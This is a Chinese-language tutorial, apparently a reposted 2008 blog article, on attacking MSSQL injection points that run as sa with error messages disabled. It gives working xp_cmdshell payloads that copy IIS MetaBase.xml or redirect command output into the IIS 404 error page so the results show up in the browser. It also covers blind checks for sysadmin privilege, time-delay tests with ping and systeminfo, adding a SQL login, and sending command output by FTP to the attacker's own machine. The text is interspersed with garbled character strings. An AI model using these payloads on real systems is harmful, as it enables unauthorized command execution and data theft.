遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。1 H3 |) u- M( n0 z( l4 B
. }+ E/ m: g9 r! h8 F' m
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
4 K7 w3 ]! F/ F. E
9 V' H; `; e5 c! R- f9 E, N 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
/ n3 R- M0 d& m2 @1 g; o- ?$ E' N/ N9 y) |3 d8 C* A/ u. ~5 }
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm, U7 r3 ]& p g* ` `
$ o1 U+ o% D1 V, r$ o 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--, f. W K2 F! B* ^8 j% z2 H
4 e, q! n5 m" v' f$ r1 m* ]$ r
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。' v2 g2 e, L# _( m4 r
, p3 Z( t+ Y" c+ E5 |. j" a, g
执行命令得到回显
! Z4 d- {/ Q3 v( @% I$ b7 W4 i; L6 _) `6 B8 w. e
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--' ?3 ?2 y8 G- |& v1 S. k+ Y5 ~- H
7 S) ], Q* {8 ]/ u) B3 }4 _ 得到文件也shi相同,把文件copy到404b.htm就行了3 {. u1 r I1 Y/ D( s8 I% J+ r
/ W- a! Q' x: S by 28ice, 2008/6/267 c8 Z1 ~" f4 W* u+ ], |
1 g. `8 N u8 U# X6 _
摘自 28度的冰) ]9 o7 \( n; \0 z7 K; @' {) c _
- g4 P+ ]7 E5 ]$ W4 C. [2 v
盲注判断权限和操作系统版本
8 y5 l/ D( f8 N1 Q) C
( z2 [) U, D1 c+ l- T 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
7 V7 r$ r( A7 t. }- ]0 y/ Q8 J8 M! M3 w% e3 ~1 n' D( k& V) P
最简单的,可能以用这样的方法:
6 t# q% \ B* `6 K- u
" r0 M8 m! K6 O4 w' o" [( ~1 ] K 1=(select IS_SRVROLEMEMBER(’sysadmin’))2 ]; M- x8 ^$ ~" L: M, M4 C; ^; v
4 v% p2 S0 E3 b! }/ Q! ~2 s 当然,有些情况下,这个方法并不奏效。# ^# W/ m6 w4 W2 R+ N
7 M& l; W- w2 i7 g3 `, u2 P7 H
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。# \, X& c ^; S$ ~1 p% S
. T# X5 c; B; P6 b: }
有个3办法可能以解决这个问题
" t- i6 ~* N- ^7 J7 t/ S3 K0 }1 m: w' {; w
a.把执行结果写到404b.htm,具体请看我的上一篇文章
3 `2 v- @9 c6 m$ Q( q8 i) ?$ V1 a& G" h# z+ h
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
) j" _# i/ T0 v8 v, A, h
) ]# n6 J' S3 X( J c.如果1433端口可能以连接,那干脆新建个sql登录
) q9 E$ E4 E9 R/ N9 u `/ r N+ o( P
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
8 ~% t) W. o% R
$ ^2 }$ |( p$ ], G 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
- L9 H# b2 ~& | X' o4 s' U6 e& H5 u( A0 h( w5 N" b: y, J' e
很简单& R" N8 ?! G5 T" ?) `& s9 @3 }
! G* D1 |/ \" M 执行systeminfo
4 \4 d* Z& t% c* i. P, M
+ e7 T. Z9 `# A' v6 M! G 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |